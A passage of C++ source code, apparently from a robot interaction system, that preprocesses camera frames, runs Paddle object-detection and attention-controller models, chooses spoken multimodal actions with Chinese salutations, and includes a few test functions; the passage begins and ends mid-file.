robotWakeup(false);\n#endif\n\n#if defined(SERVER_MODE) && defined(ASYNC_INFER)\n\nstruct PreprocessRes {\n  int id;\n  cv::Mat ob; // just for easy logging\n  Eigen::VectorXf flattenImg;\n};\n\nstruct DetectorRes {\n  int id;\n  LoD lod;\n  cv::Mat ob; // just for easy logging\n  int objCount;\n  Eigen::VectorXf flattenPred;\n  Eigen::VectorXf flattenFeatureMap;\n};\n\nboost::lockfree::spsc_queue<PreprocessRes> preprocessQ(Q_SIZE);\nboost::lockfree::spsc_queue<DetectorRes> detectorQ(Q_SIZE);\n#endif // end of data def for async inference\n\nstd::deque<cv::Mat> obWindow;\nstd::deque<Eigen::VectorXf> visualTokensWindow;\nstd::deque<Eigen::VectorXf> paddingMaskWindow;\nstd::deque<Eigen::VectorXi> sharedFrameIds;\nstd::deque<FrameInstances> frameInstWindow;\n// std::deque<Eigen::VectorXf> recentInterests;\n\nDEFINE_string(dirname, \"./xiaodu_hi_v3\",\n              \"Directory of the inference model and params.\");\nDEFINE_double(th, 0.5, \"Threshold for interaction trigger.\");\nDEFINE_double(tau, 1.0, \"Softmax temperature hyperparameter.\");\nDEFINE_int32(topK, 50, \"Number of top-k multimodal actions.\");\nDEFINE_double(occupy, 5000.0, \"Robot occpuy time in ms.\");\nDEFINE_int32(minInstSize, 16000, \"Minimum instance view size.\");\nDEFINE_string(logdir, \"./log\",\n              \"Directory of the log, include observations, response JSON.\");\nDEFINE_bool(gpu, false, \"Whether to use GPU config.\");\nDEFINE_int32(timeout, 2, \"Number of frames that are tolerant for timeout.\");\n\nDEFINE_bool(salutation, false, \"Whether to integrate salutation classifier.\");\nDEFINE_double(\n    saluL1, 0.4,\n    \"Confendence gap to trust root prediction of saluation classifier.\");\nDEFINE_double(saluL2, 0.4,\n              \"Confendence gap to trust left or right prediction of saluation \"\n              \"classifier.\");\nDEFINE_double(\n    objTH, 0.3,\n    \"Threshold to check whether the person has interaction intention.\");\n\nDEFINE_bool(\n    ensemble, false,\n    \"Whether to ensemble trigger, object detector and null action controller.\");\n\n#ifdef LOCAL_INFER\nDEFINE_string(video, \"../video.mp4\", \"Path to video file for local inference.\");\n#endif\n\n#ifdef SERVER_MODE\nDEFINE_int32(port, 8888, \"Port of gRPC server to bind.\");\n#endif\n\ntemplate <typename T> void PrintVectorX(std::string name, T v, size_t n) {\n  std::cout << \"[\" << name << \"] \";\n  std::cout << \"size: \" << v.size() << \", first \" << n << \": \";\n  for (size_t i = 0; i < n; i++)\n    std::cout << v(i) << \" \";\n  std::cout << std::endl;\n}\n\ntemplate <typename T>\nstd::vector<size_t> ArgSort(const std::vector<T> &v, bool ascending = false) {\n  std::vector<size_t> idx(v.size());\n  std::iota(idx.begin(), idx.end(), 0);\n  if (ascending)\n    std::stable_sort(idx.begin(), idx.end(),\n                     [&v](size_t i1, size_t i2) { return v[i1] < v[i2]; });\n  else\n    std::stable_sort(idx.begin(), idx.end(),\n                     [&v](size_t i1, size_t i2) { return v[i1] > v[i2]; });\n  return idx;\n}\n\nstd::vector<size_t> ArgSort(const Eigen::VectorXf &v, bool ascending = false) {\n  std::vector<float> vec;\n  vec.resize(v.size());\n  for (int i = 0; i < v.size(); i++)\n    vec[i] = v(i);\n\n  return ArgSort<float>(vec, ascending);\n}\n\nint GetCurrentHour() {\n  auto now = std::chrono::system_clock::now();\n  std::time_t t_now = std::chrono::system_clock::to_time_t(now);\n  tm *date = localtime(&t_now);\n  return static_cast<int>(date->tm_hour);\n}\n\nvoid PreprocessImage(cv::Mat &image, Eigen::VectorXf &flattenOutput,\n                     std::string outputImgFile = \"\") {\n  // See perception/common/utils.py::yolov4_img_preprocess\n  double aspectRatio =\n      std::min(IMG_RESIZE * 1.0 / image.rows, IMG_RESIZE * 1.0 / image.cols);\n  int newH = static_cast<int>(std::floor(image.rows * aspectRatio));\n  int newW = static_cast<int>(std::floor(image.cols * aspectRatio));\n  cv::resize(image, image, cv::Size(newW, newH));\n\n  cv::Mat boxedImg(IMG_RESIZE, IMG_RESIZE, CV_8UC3, cv::Scalar(128, 128, 128));\n\n  int yOffset = static_cast<int>(std::floor(IMG_RESIZE - newH) / 2.0);\n  int xOffset = static_cast<int>(std::floor(IMG_RESIZE - newW) / 2.0);\n  image.copyTo(boxedImg(cv::Rect(xOffset, yOffset, newW, newH)));\n\n  if (outputImgFile != \"\")\n    cv::imwrite(outputImgFile, boxedImg);\n\n  cv::Mat rgbImg;\n  cv::cvtColor(boxedImg, rgbImg, cv::COLOR_BGRA2RGB);\n\n  cv::Mat rgbMat[3];\n  cv::split(rgbImg, rgbMat);\n\n  Eigen::MatrixXf rMat, gMat, bMat;\n  cv::cv2eigen(rgbMat[0], rMat);\n  cv::cv2eigen(rgbMat[1], gMat);\n  cv::cv2eigen(rgbMat[2], bMat);\n\n  rMat /= 255.0;\n  gMat /= 255.0;\n  bMat /= 255.0;\n\n  // Flatten RGB mode data with shape [C, H, W]\n  RowMajorMatrixXf t_rMat(rMat), t_gMat(gMat), t_bMat(bMat);\n  flattenOutput.resize(t_rMat.size() + t_gMat.size() + t_bMat.size());\n  flattenOutput << Eigen::Map<Eigen::VectorXf>(t_rMat.data(), t_rMat.size()),\n      Eigen::Map<Eigen::VectorXf>(t_gMat.data(), t_gMat.size()),\n      Eigen::Map<Eigen::VectorXf>(t_bMat.data(), t_bMat.size());\n}\n\nvoid PrepareMultimodalActions(std::string filename,\n                              std::vector<MultimodalAction> &multimodalActs) {\n  std::ifstream infile(filename);\n  std::string talk, exp, act;\n  while (true) {\n    if (!std::getline(infile, talk))\n      break;\n    std::getline(infile, exp);\n    std::getline(infile, act);\n\n    MultimodalAction ma(talk, exp, act);\n    multimodalActs.push_back(ma);\n  }\n}\n\nvoid GetSalutation(const Eigen::VectorXf objPred,\n                   const FrameInstances &instances, std::string &salu,\n                   int &objCount) {\n  float maxObj = 0.0;\n  objCount = 0;\n  salu = \"\";\n  for (size_t i = 0; i < instances.size(); i++) {\n    if (instances[i].classID == 0 && objPred(i) > FLAGS_objTH) {\n      objCount++;\n      if (objPred(i) > maxObj) {\n        maxObj = objPred(i);\n        salu = instances[i].get_salutation(FLAGS_saluL1, FLAGS_saluL2);\n      }\n    }\n  }\n\n  if (objCount > 1)\n    salu = \"\u4f60\u4eec\"; // or \"\u5927\u5bb6\"\n  else if (salu == \"\")\n    salu = \"\u4f60\";\n}\n\nstd::string GetPronoun(int objCount) {\n  if (objCount > 1)\n    return \"\u5927\u5bb6\";\n  else\n    return \"\u4f60\";\n}\n\nbool CheckNearField(const FrameInstances &instances, double areaTH = 0.30) {\n  bool isNear = false;\n  double viewArea = static_cast<double>(VIEW_H * VIEW_W);\n  for (auto it = instances.begin(); it != instances.end(); it++) {\n    if (it->get_area_size() / viewArea > areaTH) {\n      isNear = true;\n      break;\n    }\n  }\n  return isNear;\n}\n\nbool CheckLagSensitive(const FrameInstances &instances) {\n  // TODO: only consider the potential objects\n  bool isSensitive = false;\n  for (size_t i = 0; i < instances.size(); i++) {\n    if (instances[i].classID != 0)\n      continue;\n\n    float h = instances[i].bbox(3) - instances[i].bbox(1);\n    float x1 = std::abs(instances[i].bbox(0) - 0);\n    float x2 = std::abs(VIEW_W - instances[i].bbox(2));\n    float x = std::min(x1, x2);\n    // std::cout << \"================\" << std::endl;\n    // std::cout << \"h / VIEW_H: \" << h / VIEW_H << std::endl;\n    // std::cout << \"x / VIEW_W: \" << x / VIEW_W << std::endl;\n    if (h / VIEW_H > 0.9 && x / VIEW_W < 0.1) {\n      isSensitive = true;\n      break;\n    }\n  }\n  return isSensitive;\n}\n\nnamespace paddle {\nusing paddle::AnalysisConfig;\n\nusing Time = decltype(std::chrono::high_resolution_clock::now());\nTime time() { return std::chrono::high_resolution_clock::now(); };\ndouble TimeDiff(Time t1, Time t2) {\n  typedef std::chrono::microseconds ms;\n  auto diff = t2 - t1;\n  ms counter = std::chrono::duration_cast<ms>(diff);\n  return counter.count() / 1000.0;\n}\n\nvoid PrepareTRTConfig(AnalysisConfig *config, std::string name) {\n  std::string paramsFile = FLAGS_dirname + \"/\" + name + \"_params\";\n  std::string modelFile = FLAGS_dirname + \"/\" + name + \"_model\";\n  bool modelOnly = !boost::filesystem::exists(paramsFile);\n\n  if (modelOnly)\n    config->SetModel(modelFile);\n  else\n    config->SetModel(modelFile, paramsFile);\n\n  if (FLAGS_gpu) {\n    // Init GPU memory: 1000MB, GPU id: 0\n    config->EnableUseGpu(1000, 0);\n    // config->EnableUseGpu(1000, 5);\n  } else {\n    config->DisableGpu();\n    config->SetCpuMathLibraryNumThreads(8);\n  }\n  config->SwitchUseFeedFetchOps(false);\n  config->SwitchSpecifyInputNames(true);\n  config->SwitchIrOptim(true);\n}\n\nvoid GenerateSizeInputData(int seqLen, int h, int w,\n                           Eigen::VectorXi &flattenSizeData) {\n  flattenSizeData.resize(seqLen * 2);\n  for (int i = 0; i < seqLen; i++) {\n    flattenSizeData(2 * i) = h;\n    flattenSizeData(2 * i + 1) = w;\n  }\n}\n\nbool CompareInstances(Instance &i, Instance &j) {\n  return (i.get_area_size() > j.get_area_size());\n}\n\nvoid ConvertPredToInstances(int nframe, const LoD &predLod,\n                            const std::vector<Eigen::VectorXf> &preds,\n                            std::vector<FrameInstances> &frameInstArray) {\n  Eigen::VectorXf flattenPred = preds[0];\n  Eigen::VectorXf flattenRoisFeats = preds[1];\n\n  Eigen::VectorXf flattenRootPred, flattenLeftPred, flattenRightPred;\n  if (FLAGS_salutation) {\n    flattenRootPred = preds[2];\n    flattenLeftPred = preds[3];\n    flattenRightPred = preds[4];\n  }\n\n  frameInstArray.resize(nframe);\n  for (int i = 0; i < nframe; i++)\n    frameInstArray[i].resize(TOKENS_PER_FRAME);\n\n  int nclass = sizeof(INTERESTED_CALSS) / sizeof(INTERESTED_CALSS[0]);\n  std::set<int> interested(INTERESTED_CALSS, INTERESTED_CALSS + nclass);\n\n  for (int i = 0; i < nframe; i++) {\n    // Filter, see interaction/common/data_v2.py::filter_instances\n    int npred = predLod[0][i + 1] - predLod[0][i];\n    FrameInstances initFrameInst;\n    for (int j = 0; j < npred; j++) {\n      int k = predLod[0][i] + j;\n      Instance inst(flattenPred.segment(k * PRED_DIM, PRED_DIM),\n                    flattenRoisFeats.segment(k * ROI_FEAT_DIM, ROI_FEAT_DIM));\n\n      if (FLAGS_salutation)\n        inst.update_salutation(\n            flattenRootPred.segment(k * 2, 2),\n            flattenLeftPred.segment(k * SALU_LEFT_DIM, SALU_LEFT_DIM),\n            flattenRightPred.segment(k * SALU_RIGHT_DIM, SALU_RIGHT_DIM));\n\n      if (interested.find(inst.classID) != interested.end()) {\n        double instSize =\n            (inst.bbox(2) - inst.bbox(0)) * (inst.bbox(3) - inst.bbox(1));\n        if (inst.classID == 0 && instSize > FLAGS_minInstSize)\n          initFrameInst.push_back(inst);\n        else if (inst.classID != 0)\n          initFrameInst.push_back(inst);\n      }\n    }\n\n    std::cout << \"frame \" << i\n              << \", found interested instances: \" << initFrameInst.size()\n              << std::endl;\n\n    if (npred == 0) {\n      for (int j = 0; j < TOKENS_PER_FRAME; j++)\n        frameInstArray[i][j] = Instance();\n    } else if (initFrameInst.size() <= TOKENS_PER_FRAME) {\n      for (size_t j = 0; j < initFrameInst.size(); j++)\n        frameInstArray[i][j] = initFrameInst[j];\n      for (size_t j = initFrameInst.size(); j < TOKENS_PER_FRAME; j++)\n        frameInstArray[i][j] = Instance();\n    } else {\n      int nperson = 0;\n      for (size_t j = 0; j < initFrameInst.size(); j++)\n        if (initFrameInst[j].classID == 0)\n          nperson++;\n\n      if (nperson < TOKENS_PER_FRAME) {\n        int mis = TOKENS_PER_FRAME - nperson;\n        for (size_t j = 0; j < initFrameInst.size(); j++)\n          if (initFrameInst[j].classID == 0)\n            frameInstArray[i][j] = initFrameInst[j];\n\n        // TODO: shuffle the instances that are not persons before added\n        size_t j = 0, k = nperson;\n        while (mis > 0 && j < initFrameInst.size()) {\n          if (initFrameInst[j].classID != 0) {\n            frameInstArray[i][k] = initFrameInst[j];\n            k++;\n            mis--;\n          }\n          j++;\n        }\n      } else {\n        std::sort(initFrameInst.begin(), initFrameInst.end(), CompareInstances);\n        for (size_t j = 0, k = 0;\n             j < initFrameInst.size() && k < TOKENS_PER_FRAME; j++) {\n          if (initFrameInst[j].classID == 0) {\n            frameInstArray[i][k] = initFrameInst[j];\n            k++;\n          }\n        }\n      }\n    }\n  } // loop frames\n}\n\nvoid Meshgrid(const Eigen::VectorXf &x, const Eigen::VectorXf &y,\n              RowMajorMatrixXf &X, RowMajorMatrixXf &Y) {\n  int nx = x.size(), ny = y.size();\n  X.resize(ny, nx);\n  Y.resize(ny, nx);\n  for (int i = 0; i < ny; i++)\n    X.row(i) = x;\n  for (int i = 0; i < ny; i++)\n    Y.col(i) = y;\n}\n\nvoid GetPosEmb(const Instance &inst, Eigen::VectorXf &posEmb) {\n  // See perception/common/utils.py::get_bbox_pos_emb\n  posEmb.resize(2 * ROI_FEAT_RESOLUTION * ROI_FEAT_RESOLUTION);\n\n  if (inst.classID == -1) {\n    posEmb.setZero();\n    return;\n  }\n\n  Eigen::Vector4f halfWH(\n      {VIEW_W + 0.0, VIEW_H + 0.0, VIEW_W + 0.0, VIEW_H + 0.0});\n  halfWH = halfWH / 2.0;\n\n  Eigen::Vector4f bbox = (inst.bbox - halfWH) * (PI / 2.0);\n  bbox = bbox.array() / halfWH.array();\n\n  Eigen::VectorXf xPos, yPos;\n  xPos.setLinSpaced(ROI_FEAT_RESOLUTION, bbox(0), bbox(2));\n  yPos.setLinSpaced(ROI_FEAT_RESOLUTION, bbox(1), bbox(3));\n  xPos = xPos.array().sin();\n  yPos = yPos.array().sin();\n\n  RowMajorMatrixXf xPosEmb, yPosEmb;\n  Meshgrid(xPos, yPos, xPosEmb, yPosEmb);\n\n  posEmb << Eigen::Map<Eigen::VectorXf>(xPosEmb.data(), xPosEmb.size()),\n      Eigen::Map<Eigen::VectorXf>(yPosEmb.data(), yPosEmb.size());\n}\n\nvoid GetVisualToken(const Instance &inst, Eigen::VectorXf &visualToken) {\n  // See interaction/common/data_v2.py::convert_instances_to_visual_tokens\n  Eigen::VectorXf posEmb;\n  GetPosEmb(inst, posEmb);\n\n  visualToken.resize(VISUAL_TOKEN_DIM);\n  visualToken << posEmb, inst.feat;\n}\n\nvoid GetAttnMask(int nframe, Eigen::VectorXf &flattenAttnMask) {\n  int seqLen = nframe * TOKENS_PER_FRAME;\n  flattenAttnMask.resize(seqLen * seqLen);\n  flattenAttnMask.setZero();\n\n  for (int i = 0; i < seqLen; i++) {\n    int len = (i / TOKENS_PER_FRAME + 1) * TOKENS_PER_FRAME;\n    int offset = i * seqLen;\n    flattenAttnMask.segment(offset, len) = Eigen::VectorXf::Ones(len);\n  }\n}\n\nvoid GetObjMask(const FrameInstances &instances, Eigen::VectorXf &objMask) {\n  objMask.resize(instances.size());\n  for (size_t i = 0; i < instances.size(); i++) {\n    if (instances[i].classID == 0)\n      objMask(i) = 1.0;\n    else\n      objMask(i) = 0.0;\n  }\n}\n\nint RunDetector(PaddlePredictor *predictor,\n                const std::vector<Eigen::VectorXf> &imgArray, LoD &predLod,\n                Eigen::VectorXf &flattenPred,\n                Eigen::VectorXf &flattenFeatureMap) {\n  auto time1 = time();\n\n  int nframe = imgArray.size();\n\n  RowMajorMatrixXf imgTensor(nframe, imgArray[0].size());\n  for (size_t i = 0; i < imgArray.size(); i++)\n    imgTensor.row(i) = imgArray[i];\n\n  auto imgInput = predictor->GetInputTensor(\"image\");\n  imgInput->Reshape({nframe, 3, IMG_RESIZE, IMG_RESIZE});\n  imgInput->copy_from_cpu(imgTensor.data());\n\n  auto imSizeInput = predictor->GetInputTensor(\"im_size\");\n  Eigen::VectorXi flattenImSizeInput;\n  GenerateSizeInputData(nframe, VIEW_H, VIEW_W, flattenImSizeInput);\n  imSizeInput->Reshape({nframe, 2});\n  imSizeInput->copy_from_cpu(flattenImSizeInput.data());\n\n  auto inSizeInput = predictor->GetInputTensor(\"in_size\");\n  Eigen::VectorXi flattenInSizeInput;\n  GenerateSizeInputData(nframe, IMG_RESIZE, IMG_RESIZE, flattenInSizeInput);\n  inSizeInput->Reshape({nframe, 2});\n  inSizeInput->copy_from_cpu(flattenInSizeInput.data());\n\n  CHECK(predictor->ZeroCopyRun());\n\n  auto outputNames = predictor->GetOutputNames();\n  auto pred = predictor->GetOutputTensor(outputNames[0]);\n  auto fm = predictor->GetOutputTensor(outputNames[1]);\n\n  predLod = pred->lod();\n\n  auto predShape = pred->shape();\n  int predSize = std::accumulate(predShape.begin(), predShape.end(), 1,\n                                 std::multiplies<int>());\n  flattenPred.resize(predSize);\n  pred->copy_to_cpu(flattenPred.data());\n\n  auto fmShape = fm->shape();\n  int fmSize = std::accumulate(fmShape.begin(), fmShape.end(), 1,\n                               std::multiplies<int>());\n  flattenFeatureMap.resize(fmSize);\n  fm->copy_to_cpu(flattenFeatureMap.data());\n\n  auto time2 = time();\n  LOG(INFO) << \"[RunDetector] nframe: \" << nframe\n            << \", cost: \" << TimeDiff(time1, time2) << \"ms\" << std::endl;\n\n  if (predSize == 1)\n    return 0;\n  else\n    return predShape[0];\n}\n\nvoid RunVisualTokenizer(PaddlePredictor *predictor, int nframe,\n                        int frameIdOffset, int npred, const LoD &predLod,\n                        const Eigen::VectorXf &flattenPred,\n                        const Eigen::VectorXf &flattenFeatureMap,\n                        Eigen::VectorXf &flattenVisualTokens,\n                        Eigen::VectorXf &flattenPaddingMask,\n                        Eigen::VectorXi &flattenFrameIds,\n                        std::vector<FrameInstances> &frameInstArray) {\n  auto time1 = time();\n\n  flattenVisualTokens.resize(nframe * TOKENS_PER_FRAME * VISUAL_TOKEN_DIM);\n  flattenPaddingMask.resize(nframe * TOKENS_PER_FRAME);\n  flattenFrameIds.resize(nframe * TOKENS_PER_FRAME);\n  frameInstArray.resize(nframe);\n  for (int i = 0; i < nframe; i++)\n    frameInstArray[i].resize(TOKENS_PER_FRAME);\n\n  flattenVisualTokens.setZero();\n  flattenPaddingMask.setZero();\n  for (int i = 0; i < flattenFrameIds.size(); i++)\n    flattenFrameIds(i) = frameIdOffset + i / TOKENS_PER_FRAME;\n\n  if (flattenPred.size() > 1) {\n    auto fmInput = predictor->GetInputTensor(\"fm\");\n    fmInput->Reshape(\n        {nframe, ROI_FEAT_DIM, IMG_RESIZE / FM_SCALE, IMG_RESIZE / FM_SCALE});\n    fmInput->copy_from_cpu(flattenFeatureMap.data());\n\n    auto predInput = predictor->GetInputTensor(\"pred\");\n    predInput->Reshape({npred, PRED_DIM});\n    predInput->SetLoD(predLod);\n    predInput->copy_from_cpu(flattenPred.data());\n\n    CHECK(predictor->ZeroCopyRun());\n\n    auto outputNames = predictor->GetOutputNames();\n    auto roisFeats = predictor->GetOutputTensor(outputNames[0]);\n    auto roisFeatsShape = roisFeats->shape();\n    int roisFeatsSize =\n        std::accumulate(roisFeatsShape.begin(), roisFeatsShape.end(), 1,\n                        std::multiplies<int>());\n    Eigen::VectorXf flattenRoisFeats;\n    flattenRoisFeats.resize(roisFeatsSize);\n    roisFeats->copy_to_cpu(flattenRoisFeats.data());\n\n    if (FLAGS_salutation) {\n      auto rootPred = predictor->GetOutputTensor(outputNames[1]);\n      auto rootPredShape = rootPred->shape();\n      int rootPredSize =\n          std::accumulate(rootPredShape.begin(), rootPredShape.end(), 1,\n                          std::multiplies<int>());\n\n      auto leftPred = predictor->GetOutputTensor(outputNames[2]);\n      auto leftPredShape = leftPred->shape();\n      int leftPredSize =\n          std::accumulate(leftPredShape.begin(), leftPredShape.end(), 1,\n                          std::multiplies<int>());\n\n      auto rightPred = predictor->GetOutputTensor(outputNames[3]);\n      auto rightPredShape = rightPred->shape();\n      int rightPredSize =\n          std::accumulate(rightPredShape.begin(), rightPredShape.end(), 1,\n                          std::multiplies<int>());\n\n      Eigen::VectorXf flattenRootPred, flattenLeftPred, flattenRightPred;\n      flattenRootPred.resize(rootPredSize);\n      flattenLeftPred.resize(leftPredSize);\n      flattenRightPred.resize(rightPredSize);\n\n      rootPred->copy_to_cpu(flattenRootPred.data());\n      leftPred->copy_to_cpu(flattenLeftPred.data());\n      rightPred->copy_to_cpu(flattenRightPred.data());\n\n      std::vector<Eigen::VectorXf> preds{flattenPred, flattenRoisFeats,\n                                         flattenRootPred, flattenLeftPred,\n                                         flattenRightPred};\n      ConvertPredToInstances(nframe, predLod, preds, frameInstArray);\n    } else {\n      std::vector<Eigen::VectorXf> preds{flattenPred, flattenRoisFeats};\n      ConvertPredToInstances(nframe, predLod, preds, frameInstArray);\n    }\n\n    for (size_t i = 0; i < frameInstArray.size(); i++) {\n      for (size_t j = 0; j < frameInstArray[i].size(); j++) {\n        Eigen::VectorXf visualToken;\n        GetVisualToken(frameInstArray[i][j], visualToken);\n        // std::cout << \"==========\" << i << \", \" << j << \"==========\" <<\n        // std::endl; PrintVectorX<Eigen::VectorXf>(\n        //     \"instance feat\", frameInstArray[i][j].feat, 10);\n        // PrintVectorX<Eigen::VectorXf>(\"visualToken\", visualToken, 60);\n        flattenVisualTokens.segment(\n            (i * TOKENS_PER_FRAME + j) * VISUAL_TOKEN_DIM, VISUAL_TOKEN_DIM) =\n            visualToken;\n\n        if (frameInstArray[i][j].classID != -1)\n          flattenPaddingMask(i * TOKENS_PER_FRAME + j) = 1.0;\n      }\n    }\n  }\n\n  auto time2 = time();\n  LOG(INFO) << \"[RunVisualTokenizer] nframe: \" << nframe\n            << \", cost: \" << TimeDiff(time1, time2) << \"ms\" << std::endl;\n}\n\nvoid RunAttnCtrl(PaddlePredictor *predictor, int nframe, int naction,\n                 const Eigen::VectorXf &flattenVisualTokens,\n                 const Eigen::VectorXf &flattenPaddingMask,\n                 const Eigen::VectorXi &flattenFrameIds,\n                 Eigen::VectorXf &flattenTriggerPred,\n                 Eigen::VectorXf &flattenObjPred,\n                 Eigen::VectorXf &flattenActPred,\n                 Eigen::VectorXf &flattenActTopKSample) {\n  auto time1 = time();\n\n  int seqLen = nframe * TOKENS_PER_FRAME;\n  flattenTriggerPred.resize(nframe);\n  flattenObjPred.resize(seqLen);\n  flattenActPred.resize(nframe * naction);\n  flattenActTopKSample.resize(nframe);\n\n  auto visualTokenInput = predictor->GetInputTensor(\"visual_tokens\");\n  visualTokenInput->Reshape({1, seqLen, VISUAL_TOKEN_DIM});\n  visualTokenInput->copy_from_cpu(flattenVisualTokens.data());\n\n  auto paddingMaskInput = predictor->GetInputTensor(\"padding_mask\");\n  paddingMaskInput->Reshape({1, seqLen});\n  paddingMaskInput->copy_from_cpu(flattenPaddingMask.data());\n\n  auto frameIdsInput = predictor->GetInputTensor(\"frame_ids\");\n  frameIdsInput->Reshape({1, seqLen});\n  VectorXi64 ids = flattenFrameIds.cast<int64_t>();\n  frameIdsInput->copy_from_cpu(ids.data());\n\n  Eigen::VectorXf flattenAttnMask;\n  GetAttnMask(nframe, flattenAttnMask);\n  auto attnMaskInput = predictor->GetInputTensor(\"attn_mask\");\n  attnMaskInput->Reshape({1, seqLen, seqLen});\n  attnMaskInput->copy_from_cpu(flattenAttnMask.data());\n\n  auto softmaxTemp = predictor->GetInputTensor(\"softmax_temp\");\n  softmaxTemp->Reshape({1});\n  Eigen::VectorXf tau;\n  tau.resize(1);\n  tau(0) = FLAGS_tau;\n  softmaxTemp->copy_from_cpu(tau.data());\n\n  auto topKInput = predictor->GetInputTensor(\"top_k\");\n  topKInput->Reshape({1});\n  VectorXi64 topK;\n  topK.resize(1);\n  topK(0) = FLAGS_topK;\n  topKInput->copy_from_cpu(topK.data());\n\n  CHECK(predictor->ZeroCopyRun());\n\n  auto outputNames = predictor->GetOutputNames();\n  auto triggerPred = predictor->GetOutputTensor(outputNames[0]);\n  auto objPred = predictor->GetOutputTensor(outputNames[1]);\n  auto actPred = predictor->GetOutputTensor(outputNames[2]);\n  auto actTopKSample = predictor->GetOutputTensor(outputNames[3]);\n\n  triggerPred->copy_to_cpu(flattenTriggerPred.data());\n  objPred->copy_to_cpu(flattenObjPred.data());\n  actPred->copy_to_cpu(flattenActPred.data());\n  actTopKSample->copy_to_cpu(flattenActTopKSample.data());\n\n  auto time2 = time();\n  LOG(INFO) << \"[RunAttnCtrl] nframe: \" << nframe\n            << \", cost: \" << TimeDiff(time1, time2) << \"ms\" << std::endl;\n}\n\nbool ConvertPredToJsons(float triggerPred, int reqID, bool useSkill,\n                        const Eigen::VectorXf &objPred,\n                        const Eigen::VectorXf &actPred,\n                        const Eigen::VectorXf &actTopKSample,\n                        const FrameInstances &instances,\n                        const std::vector<MultimodalAction> &multimodalActs,\n                        std::string &resJson) {\n  auto time1 = time();\n  resJson = \"{}\";\n  if (!FLAGS_ensemble && triggerPred < FLAGS_th)\n    return false;\n\n  int objCount;\n  std::string salu;\n  GetSalutation(objPred, instances, salu, objCount);\n\n  if (FLAGS_ensemble) {\n    // TODO: investigate better ensemble strategy, e.g. weighted voting\n    size_t nullActAt = ArgSort(actPred)[0];\n    int supports = static_cast<int>(triggerPred > FLAGS_th);\n    supports += static_cast<int>(objCount > 0);\n    supports += static_cast<int>(nullActAt != 0);\n    if (supports < 3.0 / 2)\n      return false;\n    // if (supports < 3.0)\n    //   return false; // all supports!\n  }\n\n  std::default_random_engine rnd;\n  rnd.seed(std::chrono::system_clock::now().time_since_epoch().count());\n  std::uniform_real_distribution<double> uniform(0, 1);\n\n  int safeActNum = sizeof(SAFE_ACTS) / sizeof(SAFE_ACTS[0]);\n  int sampleID = static_cast<int>(actTopKSample(actTopKSample.size() - 1));\n  std::string talk = multimodalActs[sampleID].talk;\n  // LOG(INFO) << \"req id: \" << std::to_string(reqID) << \", init talk: \" << talk\n  // << std::endl;\n\n  if (!FLAGS_salutation && talk.find(\"C\") != talk.npos) {\n    // ignore the salutation.\n    sampleID = SAFE_ACTS[static_cast<int>(uniform(rnd) * safeActNum)];\n  }\n\n  if (talk.find(\"\u62cd\u7167\") != talk.npos) {\n    // TODO: update this!\n    // Check the camera/cell phone exist\n    bool hasPhone = false;\n    for (auto it = instances.begin(); it != instances.end(); it++) {\n      if (it->classID == 67) {\n        hasPhone = true;\n        break;\n      }\n    }\n\n    if (!hasPhone)\n      sampleID = SAFE_ACTS[static_cast<int>(uniform(rnd) * safeActNum)];\n  }\n\n  std::string pronoun = GetPronoun(objCount);\n  int hour = GetCurrentHour();\n\n  MultimodalAction ma = multimodalActs[sampleID];\n  resJson = ma.to_json(hour, reqID, useSkill, salu, pronoun);\n\n  auto time2 = time();\n  LOG(INFO) << \"[ConvertPredToJsons] cost: \" << TimeDiff(time1, time2) << \"ms\"\n            << std::endl;\n  return true;\n}\n\n} // namespace paddle\n\n// ==============================\n// Test Cases\n// ==============================\nvoid TestPreprocessImage(std::string filename) {\n  cv::Mat image = cv::imread(filename);\n  Eigen::VectorXf flattenImg;\n  PreprocessImage(image, flattenImg, \"../test_preprocess_image.jpg\");\n  PrintVectorX<Eigen::VectorXf>(\"flattenImg\", flattenImg, 20);\n}\n\nvoid TestGenerateSizeInputData() {\n  int seqLen = 5, h = VIEW_H, w = VIEW_W;\n  Eigen::VectorXi sizeData;\n  paddle::GenerateSizeInputData(seqLen, h, w, sizeData);\n  PrintVectorX<Eigen::VectorXi>(\"sizeData\", sizeData, seqLen * 2);\n}\n\nvoid TestRunDetector(paddle::PaddlePredictor *predictor, std::string posFile,\n                     std::string negFile) {\n  cv::Mat posImg = cv::imread(posFile);\n  cv::Mat negImg = cv::imread(negFile);\n\n  Eigen::VectorXf posFlattenImg, negFlattenImg;\n  PreprocessImage(posImg, posFlattenImg);\n  PreprocessImage(negImg, negFlattenImg);\n\n  Eigen::VectorXf flattenVisualTokens, flattenPaddingMask;\n  Eigen::VectorXi flattenFrameIds;\n\n  std::vector<Eigen::VectorXf> imgArray({posFlattenImg, negFlattenImg});\n  LoD predLod;\n  Eigen::VectorXf flattenPred, flattenFeatureMap;\n  int objCount = paddle::RunDetector(predictor, imgArray, predLod, flattenPred,\n                                     flattenFeatureMap);\n  std::cout << \"Detect on pos and neg images... Found \" << objCount\n            << \" objects\" << std::endl;\n\n  int steps = 100;\n  while (steps) {\n    std::vector<Eigen::VectorXf> imgArray2({negFlattenImg});\n    objCount = paddle::RunDetector(predictor, imgArray2, predLod, flattenPred,\n                                   flattenFeatureMap);\n    std::cout << \"Detect on neg image... Found \" << objCount << \" objects\"\n              << std::endl;\n    steps--;\n  }\n}\n\nvoid TestGetPosEmb() {\n  Eigen::VectorXf posEmb;\n  Instance padInst;\n  paddle::GetPosEmb(padInst, posEmb);\n  PrintVectorX<Eigen::VectorXf>(\"pad pos emb\", posEmb, posEmb.size());\n\n  Eigen::VectorXf pred;\n  pred.resize(6);\n  pred << 0, 0.9, 300.0, 160.0, 340.0, 200.0;\n  Instance randInst(pred, Eigen::VectorXf::Random(ROI_FEAT_DIM));\n  paddle::GetPosEmb(randInst, posEmb);\n  PrintVectorX<Eigen::VectorXf>(\"pos emb\", posEmb, posEmb.size());\n  std::cout << \"expected pos emb: -0.09801714, -0.04906767,  0.        ,  \"\n               \"0.04906767,  0.09801714 ...\"\n            << std::endl;\n}\n\nvoid TestGetVisualToken() {\n  Eigen::VectorXf visualToken;\n  Instance padInst;\n  paddle::GetVisualToken(padInst, visualToken);\n  bool allZero = true;\n  for (int i = 0; i < visualToken.size(); i++) {\n    if (visualToken(i) != 0)\n      allZero = false;\n  }\n\n  if (!allZero)\n    std::cout << \"WRONG! For padding instance, its visual token is not zeros.\"\n              << std::endl;\n\n  Eigen::VectorXf pred;\n  pred.resize(6);\n  pred << 0, 0.9, 300.0, 160.0, 340.0, 200.0;\n  Eigen::VectorXf feat = 